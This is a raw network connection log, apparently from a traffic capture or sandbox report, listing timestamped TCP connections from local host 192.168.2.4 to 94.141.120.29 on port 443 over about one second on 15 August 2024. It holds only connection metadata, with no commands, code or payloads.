Aug 15, 2024 08:10:30.426567078 CEST	50021	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.436425924 CEST	50021	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.436533928 CEST	443	50021	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.436671019 CEST	443	50021	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.440877914 CEST	50022	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.440958023 CEST	443	50022	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.441473961 CEST	50022	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.450023890 CEST	50022	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.450098038 CEST	443	50022	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.450345039 CEST	443	50022	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.454420090 CEST	50023	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.454499960 CEST	443	50023	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.457545042 CEST	50023	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.468729019 CEST	50023	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.468799114 CEST	443	50023	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.469050884 CEST	443	50023	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.473341942 CEST	50024	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.473418951 CEST	443	50024	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.473705053 CEST	50024	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.482914925 CEST	50024	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.482990980 CEST	443	50024	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.483259916 CEST	443	50024	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.488395929 CEST	50025	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.488477945 CEST	443	50025	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.488956928 CEST	50025	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.497693062 CEST	50025	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.497767925 CEST	443	50025	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.497946024 CEST	443	50025	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.503137112 CEST	50026	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.503216982 CEST	443	50026	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.503518105 CEST	50026	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.512365103 CEST	50026	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.512439966 CEST	443	50026	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.512667894 CEST	443	50026	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.517417908 CEST	50027	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.517497063 CEST	443	50027	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.517674923 CEST	50027	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.525793076 CEST	50027	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.525856972 CEST	443	50027	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.525969028 CEST	443	50027	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.537470102 CEST	50028	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.537552118 CEST	443	50028	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.537837982 CEST	50028	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.546444893 CEST	50028	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.546519995 CEST	443	50028	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.546619892 CEST	443	50028	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.553333044 CEST	50029	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.553416967 CEST	443	50029	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.553551912 CEST	50029	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.565484047 CEST	50029	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.565557957 CEST	443	50029	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.565835953 CEST	443	50029	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.570261002 CEST	50030	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.570338011 CEST	443	50030	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.570489883 CEST	50030	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.580106020 CEST	50030	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.580180883 CEST	443	50030	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.580400944 CEST	443	50030	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.589335918 CEST	50031	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.589413881 CEST	443	50031	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.589818954 CEST	50031	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.601535082 CEST	50031	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.601609945 CEST	443	50031	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.601871014 CEST	443	50031	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.609344959 CEST	50032	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.609440088 CEST	443	50032	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.609633923 CEST	50032	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.622061014 CEST	50032	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.622152090 CEST	443	50032	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.622457981 CEST	443	50032	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.633452892 CEST	50033	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.633533001 CEST	443	50033	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.634322882 CEST	50033	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.645351887 CEST	50033	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.645422935 CEST	443	50033	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.645543098 CEST	443	50033	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.656519890 CEST	50034	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.656599998 CEST	443	50034	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.657299995 CEST	50034	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.665616035 CEST	50034	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.665692091 CEST	443	50034	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.665915966 CEST	443	50034	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.673456907 CEST	50035	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.673535109 CEST	443	50035	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.677594900 CEST	50035	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.685364962 CEST	50035	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.685439110 CEST	443	50035	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.685689926 CEST	443	50035	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.693439960 CEST	50036	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.693520069 CEST	443	50036	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.693665028 CEST	50036	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.702368021 CEST	50036	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.702435970 CEST	443	50036	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.702543974 CEST	443	50036	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.707658052 CEST	50037	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.707737923 CEST	443	50037	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.708048105 CEST	50037	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.717438936 CEST	50037	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.717513084 CEST	443	50037	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.717773914 CEST	443	50037	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.726293087 CEST	50038	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.726372004 CEST	443	50038	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.726685047 CEST	50038	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.735368013 CEST	50038	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.735441923 CEST	443	50038	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.735718966 CEST	443	50038	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.741825104 CEST	50039	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.741904020 CEST	443	50039	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.742033005 CEST	50039	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.753349066 CEST	50039	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.753422976 CEST	443	50039	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.753715992 CEST	443	50039	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.761343002 CEST	50040	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.761423111 CEST	443	50040	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.761843920 CEST	50040	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.771473885 CEST	50040	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.771547079 CEST	443	50040	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.771758080 CEST	443	50040	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.777456999 CEST	50041	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.777535915 CEST	443	50041	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.777822018 CEST	50041	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.789434910 CEST	50041	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.789541006 CEST	443	50041	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.789787054 CEST	443	50041	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.798341036 CEST	50042	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.798418999 CEST	443	50042	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.798679113 CEST	50042	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.807151079 CEST	50042	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.807225943 CEST	443	50042	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.807456970 CEST	443	50042	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.813344002 CEST	50043	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.813425064 CEST	443	50043	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.813591957 CEST	50043	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.822381020 CEST	50043	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.822477102 CEST	443	50043	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.822735071 CEST	443	50043	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.829345942 CEST	50044	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.829425097 CEST	443	50044	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.829555035 CEST	50044	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.837728024 CEST	50044	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.837800026 CEST	443	50044	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.838032007 CEST	443	50044	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.842564106 CEST	50045	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.842643023 CEST	443	50045	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.843517065 CEST	50045	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.853348017 CEST	50045	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.853410006 CEST	443	50045	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.853518009 CEST	443	50045	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.858170986 CEST	50046	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.858249903 CEST	443	50046	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.858539104 CEST	50046	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.866796970 CEST	50046	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.866864920 CEST	443	50046	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.867083073 CEST	443	50046	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.874418020 CEST	50047	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.874497890 CEST	443	50047	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.874795914 CEST	50047	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.882508993 CEST	50047	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.882551908 CEST	443	50047	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.882769108 CEST	443	50047	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.889363050 CEST	50048	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.889388084 CEST	443	50048	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.889564991 CEST	50048	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.898191929 CEST	50048	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.898201942 CEST	443	50048	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.898458958 CEST	443	50048	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.905320883 CEST	50049	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.905347109 CEST	443	50049	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.905698061 CEST	50049	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.917325020 CEST	50049	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.917335033 CEST	443	50049	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.917444944 CEST	443	50049	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.922162056 CEST	50050	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.922168970 CEST	443	50050	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.922283888 CEST	50050	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.932009935 CEST	50050	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.932027102 CEST	443	50050	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.932271004 CEST	443	50050	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.937686920 CEST	50051	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.937704086 CEST	443	50051	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.941468954 CEST	50051	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.949807882 CEST	50051	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.949816942 CEST	443	50051	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.950069904 CEST	443	50051	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.955265999 CEST	50052	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.955274105 CEST	443	50052	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.955434084 CEST	50052	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.965442896 CEST	50052	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.965462923 CEST	443	50052	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.965709925 CEST	443	50052	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.972222090 CEST	50053	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.972261906 CEST	443	50053	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.972366095 CEST	50053	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.989435911 CEST	50053	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.989445925 CEST	443	50053	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.989578962 CEST	443	50053	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:30.998709917 CEST	50054	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:30.998728037 CEST	443	50054	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.001422882 CEST	50054	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.010736942 CEST	50054	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.010749102 CEST	443	50054	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.010873079 CEST	443	50054	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.015691042 CEST	50055	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.015714884 CEST	443	50055	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.015865088 CEST	50055	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.024640083 CEST	50055	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.024651051 CEST	443	50055	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.024907112 CEST	443	50055	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.030607939 CEST	50056	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.030615091 CEST	443	50056	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.030721903 CEST	50056	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.041321039 CEST	50056	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.041330099 CEST	443	50056	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.041433096 CEST	443	50056	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.048641920 CEST	50057	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.048666954 CEST	443	50057	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.048852921 CEST	50057	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.057410002 CEST	50057	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.057429075 CEST	443	50057	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.057562113 CEST	443	50057	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.063381910 CEST	50058	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.063395977 CEST	443	50058	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.063756943 CEST	50058	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.076215029 CEST	50058	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.076235056 CEST	443	50058	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.076339960 CEST	443	50058	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.081365108 CEST	50059	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.081379890 CEST	443	50059	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.081562996 CEST	50059	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.090822935 CEST	50059	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.090832949 CEST	443	50059	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.090944052 CEST	443	50059	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.096636057 CEST	50060	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.096657038 CEST	443	50060	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.096785069 CEST	50060	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.108938932 CEST	50060	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.108953953 CEST	443	50060	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.109078884 CEST	443	50060	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.117322922 CEST	50061	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.117331982 CEST	443	50061	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.117496967 CEST	50061	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.129323959 CEST	50061	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.129333973 CEST	443	50061	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.129443884 CEST	443	50061	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.135597944 CEST	50062	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.135607958 CEST	443	50062	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.135668993 CEST	50062	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.150823116 CEST	50062	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.150835037 CEST	443	50062	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.150949001 CEST	443	50062	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.156691074 CEST	50063	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.156712055 CEST	443	50063	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.156754017 CEST	50063	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.168068886 CEST	50063	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.168080091 CEST	443	50063	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.168188095 CEST	443	50063	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.175430059 CEST	50064	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.175460100 CEST	443	50064	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.175509930 CEST	50064	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.188231945 CEST	50064	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.188246012 CEST	443	50064	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.188328981 CEST	443	50064	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.195101976 CEST	50065	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.195139885 CEST	443	50065	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.195199966 CEST	50065	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.205033064 CEST	50065	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.205050945 CEST	443	50065	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.205157995 CEST	443	50065	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.210609913 CEST	50066	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.210622072 CEST	443	50066	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.210669994 CEST	50066	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.223875046 CEST	50066	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.223889112 CEST	443	50066	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.224001884 CEST	443	50066	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.229496002 CEST	50067	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.229507923 CEST	443	50067	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.229557037 CEST	50067	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.241843939 CEST	50067	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.241854906 CEST	443	50067	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.242080927 CEST	443	50067	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.247088909 CEST	50068	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.247107983 CEST	443	50068	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.247165918 CEST	50068	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.258124113 CEST	50068	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.258137941 CEST	443	50068	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.258430004 CEST	443	50068	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.270417929 CEST	50069	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.270428896 CEST	443	50069	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.270478964 CEST	50069	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.315109015 CEST	50069	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.315129042 CEST	443	50069	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.315241098 CEST	443	50069	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.324412107 CEST	50070	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.324429989 CEST	443	50070	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.324501991 CEST	50070	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.340931892 CEST	50070	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.340943098 CEST	443	50070	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.341083050 CEST	443	50070	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.349266052 CEST	50071	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.349292994 CEST	443	50071	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.349345922 CEST	50071	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.367899895 CEST	50071	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.367918015 CEST	443	50071	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.368216038 CEST	443	50071	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.374191999 CEST	50072	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.374206066 CEST	443	50072	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.374253988 CEST	50072	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.390408993 CEST	50072	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.390422106 CEST	443	50072	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.390659094 CEST	443	50072	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.397053957 CEST	50073	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.397068977 CEST	443	50073	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.397125959 CEST	50073	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.420247078 CEST	50073	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.420258045 CEST	443	50073	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.420478106 CEST	443	50073	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.427153111 CEST	50074	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.427161932 CEST	443	50074	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.427223921 CEST	50074	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.450244904 CEST	50074	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.450253963 CEST	443	50074	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.450508118 CEST	443	50074	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.456429005 CEST	50075	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.456443071 CEST	443	50075	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.456579924 CEST	50075	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.474711895 CEST	50075	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.474725008 CEST	443	50075	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.474989891 CEST	443	50075	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.480885983 CEST	50076	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.480906963 CEST	443	50076	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.480967045 CEST	50076	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.495225906 CEST	50076	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.495235920 CEST	443	50076	94.141.120.29	192.168.2.4
